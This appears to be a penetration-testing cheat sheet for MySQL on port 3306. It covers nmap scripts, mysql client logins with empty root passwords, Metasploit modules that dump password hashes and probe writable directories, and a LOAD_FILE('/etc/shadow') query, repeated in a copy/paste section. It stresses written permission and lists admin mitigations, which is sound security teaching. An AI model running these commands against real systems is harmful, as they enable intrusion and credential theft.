Skip to content

01. MySQL

Overview

  • Target port: 3306 (default MySQL/MariaDB)

  • The nmap, mysql client, and Metasploit commands used for enumeration and authorized testing, explains their purpose, and provides security guidance and mitigations.

  • Important: Only run these commands on systems you own or have explicit written permission to test. Unauthorized testing may be illegal.


Quick context

  • 3306 is the standard MySQL port. Both MySQL and MariaDB use it.

  • Keep testing non-destructive until you have permission to do deeper testing.


Discovery with nmap

Purpose: find open MySQL instance(s) and determine version.

nmap <IP> -sV -p 3306
  • -p 3306: scan the MySQL port

  • -sV: service/version detection

Example:

nmap 10.0.0.5 -sV -p 3306
# => 3306/tcp open  mysql  MySQL 8.0.32

MySQL client commands (interactive)

Connect (no password):

mysql -h <IP> -u root

Connect (with prompt):

mysql -h <IP> -u root -p

Common commands once connected:

SHOW DATABASES;              -- list accessible databases
USE <database_name>;         -- select a database
SELECT COUNT(*) FROM table;  -- row count
SELECT * FROM table LIMIT 10;-- small sample rows
HELP;                        -- mysql client help
EXIT;/QUIT;                  -- leave

Caution: SELECT * on large tables can disrupt production; prefer LIMIT or column lists.


Metasploit auxiliary modules (high level)

Start:

msfconsole
auxiliary/scanner/mysql/mysql_writable_dirs
  • Goal: find directories MySQL can write to (useful for SELECT ... INTO OUTFILE abuse)

  • Typical options: RHOSTS, DIR_LIST, USERNAME, PASSWORD, VERBOSE

Example:

use auxiliary/scanner/mysql/mysql_writable_dirs
options
set dir_list /path/to/dirlist.txt
setg RHOSTS 10.0.0.5
set VERBOSE false
run
auxiliary/scanner/mysql/mysql_hashdump
  • Goal: attempt to extract MySQL password hashes (requires privileges or vulnerability)

  • Typical options: RHOSTS, USERNAME, PASSWORD

Example:

use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS 10.0.0.5
set USERNAME root
set PASSWORD ""
exploit

Note: These modules help authorized testers; do not use them on unauthorized systems.


Reading files via SQL

MySQL may expose files via functions like LOAD_FILE() if the server process has OS-level access and the DB user has permission:

SELECT LOAD_FILE('/etc/shadow');
  • Returns NULL when the file is unreadable, missing, or the function is disabled by secure_file_priv/permissions.

  • Admin defense: set secure_file_priv, restrict file perms, disable local_infile if not needed.


Useful nmap NSE scripts for MySQL

Use --script=mysql-* (common prefix). Replace <IP> and credentials as needed.

  • mysql-info — retrieve server banner/version.
nmap <IP> -sV -p 3306 --script=mysql-info
  • mysql-empty-password — test for accounts with empty passwords.
nmap <IP> -sV -p 3306 --script=mysql-empty-password
  • mysql-users — enumerate users (requires creds if provided).
nmap <IP> -sV -p 3306 --script=mysql-users --script-args="mysqluser='root',mysqlpass=''"
  • mysql-databases — list databases (requires creds).
nmap <IP> -sV -p 3306 --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''"
  • mysql-variables — query server/global variables (e.g., secure_file_priv).
nmap <IP> -sV -p 3306 --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''"
  • mysql-audit — run a CIS-style audit file to flag insecure settings.
nmap <IP> -sV -p 3306 --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'"
  • mysql-dump-hashes — attempt to extract password hashes.
nmap <IP> -sV -p 3306 --script=mysql-dump-hashes --script-args="username='root',password=''"
  • mysql-query — run an arbitrary query non-interactively.
nmap <IP> -sV -p 3306 --script=mysql-query --script-args="query='SELECT COUNT(*) FROM books.authors;',username='root',password=''"

Tip: nmap script names use mysql- prefix (not msql-). Double-check script names if a script is not found.


Example testing workflow (safe order)

  1. Discovery: nmap <IP> -sV -p 3306 to confirm MySQL presence.

  2. Non-destructive enumeration: mysql-info, mysql-variables, mysql-empty-password.

  3. Credential checks: try the mysql client with known/allowed creds.

  4. Permission checks: SHOW DATABASES;, SHOW GRANTS FOR CURRENT_USER; to verify least privilege.

  5. Controlled probing: with permission, use Metasploit modules and mysql-query script to test file-read or write vectors.

  6. Report findings and recommended mitigations.


Typical outputs & quick examples

  • nmap output: 3306/tcp open mysql MySQL 8.0.32

  • SELECT LOAD_FILE('/etc/shadow'); => returns file contents or NULL if blocked

  • SHOW DATABASES; => list of DBs (e.g., information_schema, mysql, appdb)


Security & mitigations

For DB admins:

  • Disable remote root login; use app-specific accounts with minimal privileges.

  • Enforce strong passwords; disable empty passwords.

  • Set secure_file_priv to a restricted directory and disable local_infile if unused.

  • Limit network access with firewall rules (only allow known app servers).

  • Keep MySQL/MariaDB patched.

  • Monitor query logs and set up auditing for suspicious INTO OUTFILE or file-access functions.

For testers:

  • Obtain explicit written permission.

  • Prefer non-destructive enumeration initially.

  • Avoid exfiltrating sensitive files unnecessarily; use screenshots and hashes for evidence if needed.


Cheatsheet (copy/paste)

# discovery
nmap <IP> -sV -p 3306

# nmap scripts
nmap <IP> -sV -p 3306 --script=mysql-info
nmap <IP> -sV -p 3306 --script=mysql-empty-password
nmap <IP> -sV -p 3306 --script=mysql-variables --script-args="mysqluser='root',mysqlpass='pwd'"

# mysql client
mysql -h <IP> -u <user> -p
SHOW DATABASES;
USE <DB>;
SELECT COUNT(*) FROM <TABLE>;
SELECT * FROM <TABLE> LIMIT 10;
SELECT LOAD_FILE('/etc/shadow');

# msfconsole (examples)
msfconsole
use auxiliary/scanner/mysql/mysql_writable_dirs
set dir_list /path/to/dirlist.txt
set RHOSTS <IP>
run

use auxiliary/scanner/mysql/mysql_hashdump
set USERNAME root
set PASSWORD ""
set RHOSTS <IP>
exploit